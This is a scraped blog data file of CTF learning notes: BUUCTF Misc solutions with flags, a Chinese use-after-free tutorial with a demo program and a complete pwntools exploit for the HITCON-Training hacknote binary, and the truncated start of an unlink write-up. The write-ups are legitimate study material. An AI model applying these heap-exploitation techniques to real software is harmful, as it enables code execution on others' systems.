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\"; function Sakura(x, y, s, r, fn) { this.x = x; this.y = y; this.s = s; this.r = r; this.fn = fn; } Sakura.prototype.draw = function(cxt) { cxt.save(); var xc = 40 * this.s / 4; cxt.translate(this.x, this.y); cxt.rotate(this.r); cxt.drawImage(img, 0, 0, 40 * this.s, 40 * this.s) cxt.restore(); } Sakura.prototype.update = function() { this.x = this.fn.x(this.x, this.y); this.y = this.fn.y(this.y, this.y); this.r = this.fn.r(this.r); if (this.x > window.innerWidth || this.x < 0 || this.y > window.innerHeight || this.y < 0) { this.r = getRandom('fnr'); if (Math.random() > 0.4) { this.x = getRandom('x'); this.y = 0; this.s = getRandom('s'); this.r = getRandom('r'); } else { this.x = window.innerWidth; this.y = getRandom('y'); this.s = getRandom('s'); this.r = getRandom('r'); } } } SakuraList = function() { this.list = []; } SakuraList.prototype.push = function(sakura) { this.list.push(sakura); } SakuraList.prototype.update = function() { for (var i = 0, len = this.list.length; i < len; i++) { this.list[i].update(); } } SakuraList.prototype.draw = function(cxt) { for (var i = 0, len = this.list.length; i < len; i++) { this.list[i].draw(cxt); } } SakuraList.prototype.get = function(i) { return this.list[i]; } SakuraList.prototype.size = function() { return this.list.length; } function getRandom(option) { var ret, random; switch (option) { case 'x': ret = Math.random() * window.innerWidth; break; case 'y': ret = Math.random() * window.innerHeight; break; case 's': ret = Math.random(); break; case 'r': ret = Math.random() * 6; break; case 'fnx': random = -0.5 + Math.random() * 1; ret = function(x, y) { return x + 0.5 * random - 1.7; } ; break; case 'fny': random = 1.5 + Math.random() * 0.7 ret = function(x, y) { return y + random; } ; break; case 'fnr': random = Math.random() * 0.03; ret = function(r) { return r + random; } ; break; } return ret; } function startSakura() { requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || window.oRequestAnimationFrame; var canvas = document.createElement('canvas'), cxt; staticx = true; canvas.height = window.innerHeight; canvas.width = window.innerWidth; canvas.setAttribute('style', 'position: fixed;left: 0;top: 0;pointer-events: none;'); canvas.setAttribute('id', 'canvas_sakura'); document.getElementsByTagName('body')[0].appendChild(canvas); cxt = canvas.getContext('2d'); var sakuraList = new SakuraList(); for (var i = 0; i < 50; i++) { var sakura, randomX, randomY, randomS, randomR, randomFnx, randomFny; randomX = getRandom('x'); randomY = getRandom('y'); randomR = getRandom('r'); randomS = getRandom('s'); randomFnx = getRandom('fnx'); randomFny = getRandom('fny'); randomFnR = getRandom('fnr'); sakura = new Sakura(randomX,randomY,randomS,randomR,{ x: randomFnx, y: randomFny, r: randomFnR }); sakura.draw(cxt); sakuraList.push(sakura); } stop = requestAnimationFrame(function() { cxt.clearRect(0, 0, canvas.width, canvas.height); sakuraList.update(); sakuraList.draw(cxt); stop = requestAnimationFrame(arguments.callee); }) } window.onresize = function() { var canvasSnow = document.getElementById('canvas_snow'); } img.onload = function() { startSakura(); } function stopp() { if (staticx) { var child = document.getElementById(\"canvas_sakura\"); child.parentNode.removeChild(child); window.cancelAnimationFrame(stop); staticx = false; } else { startSakura(); } }"},{"title":"project","date":"2025-09-30T07:20:12.000Z","updated":"2025-09-30T07:20:29.960Z","comments":false,"path":"project/index.html","permalink":"https://zer0ptr.github.io/project/index.html","excerpt":"","text":"111"}],"posts":[{"title":"BUUCTF-Misc刷题记录","slug":"buuctf-misc-1","date":"2026-02-24T08:28:41.000Z","updated":"2026-02-24T09:38:15.498Z","comments":true,"path":"2026/02/24/buuctf-misc-1/","permalink":"https://zer0ptr.github.io/2026/02/24/buuctf-misc-1/","excerpt":"","text":"你竟然赶我走 flag{stego_is_s0_bor1ing} 大白 文件属性中存在异常,猜测是修改了图片高度 在010 Editor中得到00 00 02 A7和00 00 01 00,分别为图片的宽高,将图片宽高设置为一致: 乌镇峰会种图 跟你竟然赶我走思路一样 N种方法解决 得到一个exe,甩vsc里看到这长长一大坨: 用浏览器访问: 扫一下: 得出来的flag要改一下 flag{dca57f966e4e4e31fd5b15417da63269} 基础破解 伪随机数爆破 之后base64解码 flag{70354300a5100ba78068805661b93a5c} 文件中的秘密 查看文件属性 zip伪加密 一样伪随机数爆破 flag{Adm1N-B2G-kU-SZIP} qr 扫描一下二维码提示可以复制一些内容 欢迎参加本次比赛,密码为 Flag{878865ce73370a4ce607d21ca01b5e59} wireshark 黑客通过wireshark抓到管理员登陆网站的一段流量包(管理员的密码即是答案) 注意:得到的 flag 请包上 flag{} 提交 根据提示直接过滤出POST包: http.request.method==POST flag{ffb7567a1d4f4abdffdb54e022f8facd} 被嗅探的流量 先过滤常见的POST方式的流量,其中一项看到有flag字样,之后follow这个流: flag{da73d88936010da1eeeb36e945ec4b97}","categories":[{"name":"Misc","slug":"Misc","permalink":"https://zer0ptr.github.io/categories/Misc/"}],"tags":[{"name":"BUUCTF","slug":"BUUCTF","permalink":"https://zer0ptr.github.io/tags/BUUCTF/"},{"name":"CTF","slug":"CTF","permalink":"https://zer0ptr.github.io/tags/CTF/"},{"name":"Misc","slug":"Misc","permalink":"https://zer0ptr.github.io/tags/Misc/"}]},{"title":"UAF学习记录","slug":"use-after-free-learning","date":"2026-02-20T07:21:23.000Z","updated":"2026-02-21T12:45:30.910Z","comments":true,"path":"2026/02/20/use-after-free-learning/","permalink":"https://zer0ptr.github.io/2026/02/20/use-after-free-learning/","excerpt":"","text":"原理 Use After Free即其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况: 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。 一般所指的Use After Free漏洞主要是后两种,一般将释放后没有被设置为NULL的内存指针为dangling pointer 案例分析 可以用ubuntu16来跑这个代码 #include <stdio.h> #include <stdlib.h> typedef struct name { char *myname; void (*func)(char *str); } NAME; void myprint(char *str) { printf("%s\\n", str); } void printmyname() { printf("call print my name\\n"); } int main() { NAME *a; a = (NAME *)malloc(sizeof(struct name)); a->func = myprint; a->myname = "I can also use it"; a->func("this is my function"); // free without modify free(a); a->func("I can also use it"); // free with modify a->func = printmyname; a->func("this is my function"); // set NULL a = NULL; printf("this pogram will crash...\\n"); a->func("can not be printed..."); } 运行后观察到虽然我们 free 掉 a 指针,但是 a 指向的函数 myprint 依旧可以被调用,并且可以被修改为调用 printmyname,直到 a 被置为空以后才发生了 Segmention fault 。 free(a); a->func("I can also use it"); // free with modify a->func = printmyname; a->func("this is my function"); 看到myprint()函数依然可以被调用,并且成功执行打印出字符串。我们继续往下看,接下来不仅仅是对函数的调用了,而是直接将func成员变量中的函数指针更改成了printmyname()函数,并且调用func成员变量。虽然printmyname()函数不需要参数,但为了能够让程序认为这里依然是myprint()函数,并且认为我们的操作是合法的,所以传入了参数"this is my function",再往后观察到,即使我们改变了成员变量中的函数指针,依然可以顺利执行printmyname()函数,并打印出printmyname()函数中原有打印“call print my name”的功能。 // set NULL a = NULL; printf("this pogram will crash...\\n"); a->func("can not be printed..."); 之后将a结构体置空,打印出一个提示字符串,这样一来程序再一次调用func成员变量,看到只出现了提示标语,而没有出现调用func成员变量执行printmyname()函数的功能。这样一个例子可以很直观的体现出结构体指针在释放之后置空的重要性,以及没有置空情况下我们可以做些什么。 例题: HITCON-Training-hacknote 程序分析 检查保护 zer0ptr@DESKTOP-65QJLFA:~/Pwn/UAF$ checksec hacknote [*] '/home/zer0ptr/Pwn/UAF/hacknote' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No 静态分析 这里发现了一个魔法函数,记着应该有用。 add_note() 根据程序,我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段: void (*printnote)(); 与char *content;,其中printnote会被设置为一个函数,其函数功能为输出 content 具体的内容。 note 的结构体定义如下: struct note { void (*printnote)(); char *content; }; add_note 函数代码如下: unsigned int add_note() { note *v0; // ebx signed int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf; // [esp+14h] [ebp-14h] unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !notelist[i] ) { notelist[i] = malloc(8u); if ( !notelist[i] ) { puts("Alloca Error"); exit(-1); } notelist[i]->put = print_note_content; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = notelist[i]; v0->content = malloc(size); if ( !notelist[i]->content ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, notelist[i]->content, size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; } 如果notelist+i是空字节则创建一个8字节的chunk,创建完成之后会在进行一次if判断,接着放置print_note_content()函数指针 int __cdecl print_note_content(int a1) { return puts(*(const char **)(a1 + 4)); } 可以看到print_note_content()会输出a1加四地址处的变量,接着读入buf并将buf的大小赋值到size并在v0+4的位置malloc一个size大小的空间 程序会调用read函数将输入的内容放在*((void **)*(&notelist + i) + 1处, 这里无法进行溢出 print_note() print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容: unsigned int print_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) notelist[v1]->put(notelist[v1]); return __readgsdword(0x14u) ^ v3; } delete_note delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。 unsigned int del_note() { int v1; // [esp+4h] [ebp-14h] char buf; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( notelist[v1] ) { free(notelist[v1]->content); free(notelist[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3; } 释放notelist+v1+1处的chunk 然后释放notelist+v1处的chunk free这两个chunk时chunk指针并没有被置空 动态调试 l140w4n9 - Linux堆溢出Use After Free 太懒了后面补上 利用姿势 通过 use after free 来使得这个程序执行 magic 函数:一个很直接的想法是修改 note 的printnote字段为 magic 函数的地址,从而实现在执行printnote 的时候执行 magic 函数 我们来看看如何实现: 程序申请 8 字节内存用来存放 note 中的 printnote 以及 content 指针。 程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。 Details 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可) 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可) 释放 note0 释放 note1 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则,note2 其实会分配 note1 对应的内存块(因为我们先释放的是 note0 再释放的 note1,那么 note1 就是链表的尾部,fast bin 是先进后出的,直接对链表尾进行操作) 所以 real content 对应的 chunk 其实是 note0 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数 EXP # -*- coding: utf-8 -*- from pwn import * r = process('./hacknote') def addnote(size, content): r.recvuntil(b":") r.sendline(b"1") r.recvuntil(b":") r.sendline(str(size).encode()) r.recvuntil(b":") r.sendline(content) def delnote(idx): r.recvuntil(b":") r.sendline(b"2") r.recvuntil(b":") r.sendline(str(idx).encode()) def printnote(idx): r.recvuntil(b":") r.sendline(b"3") r.recvuntil(b":") r.sendline(str(idx).encode()) magic = 0x08048986 addnote(16, b"aaaa") # add note 0 addnote(16, b"ddaa") # add note 1 delnote(0) # delete note 0 delnote(1) # delete note 1 addnote(8, p32(magic)) # add note 2 printnote(0) # print note 0 r.interactive() References CTF-Wiki Use After Free CSDN 好好说话之Use After Free PWN -UAF(Use After Free)漏洞解析 CNBLOGS [BUUCTF]刷题记录:hitcontraining_uaf UAF——use after free Blogs UAF漏洞(hitcontraining_uaf) 一些题目记录 - HITCON-training lab 10 hacknote Use After Free Pwn学习笔记22:Use After Free pwn入门-15-堆利用之Use-After-Free 先知 Hitcon Traning Lab10做题笔记 —— UAF漏洞分析 堆利用Use After Free 详解 二进制安全学习笔记 - 11.1. Use After Free Bilibili Linux堆溢出Use After Free","categories":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"}],"tags":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/tags/Pwn/"},{"name":"Heap","slug":"Heap","permalink":"https://zer0ptr.github.io/tags/Heap/"},{"name":"UAF","slug":"UAF","permalink":"https://zer0ptr.github.io/tags/UAF/"}]},{"title":"hitcon-training-unlink writeup","slug":"hitcon-training-unlink","date":"2026-02-14T07:13:50.000Z","updated":"2026-02-14T14:12:18.313Z","comments":true,"path":"2026/02/14/hitcon-training-unlink/","permalink":"https://zer0ptr.github.io/2026/02/14/hitcon-training-unlink/","excerpt":"","text":"Checksec # zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Pwn/heap/unlink/hitcontraining_unlink [15:14:56] $ checksec bamboobox [*] '/home/zer0ptr/CTF-Pwn/heap/unlink/hitcontraining_unlink/bamboobox' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No NO PIE 分析 main函数 int __fastcall main(int argc, const char **argv, const char **envp) { void (**v4)(void); // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); v4 = (void (**)(void))malloc(0x10u); *v4 = (void (*)(void))hello_message; v4[1] = (void (*)(void))goodbye_message; (*v4)(); while ( 1 ) { menu(); read(0, buf, 8u); switch ( atoi(buf) ) { case 1: show_item(); break; case 2: add_item(); break; case 3: change_item(); break; case 4: remove_item(); break; case 5: v4[1](); exit(0); default: puts("invaild choice!!!"); break; } } } 然后ida反编译查看main函数,各功能一目了然。注意到每次输入choice后,都要通过atoi()函数来将其转为整型,这是漏洞利用的关键之一; show_item: int show_item() { int i; // [rsp+Ch] [rbp-4h] if ( !num ) return puts("No item in the box"); for ( i = 0; i <= 99; ++i ) { if ( *((_QWORD *)&unk_6020C8 + 2 * i) ) printf("%d : %s", i, *((const char **)&unk_6020C8 + 2 * i)); } return puts(byte_401089); } 这里存在offbyone,但对于考察unlink的题目一般不会利用; &unk_6020c8位于bss节,是items的基址 add_item: __int64 add_item() { int i; // [rsp+4h] [rbp-1Ch] int v2; // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] 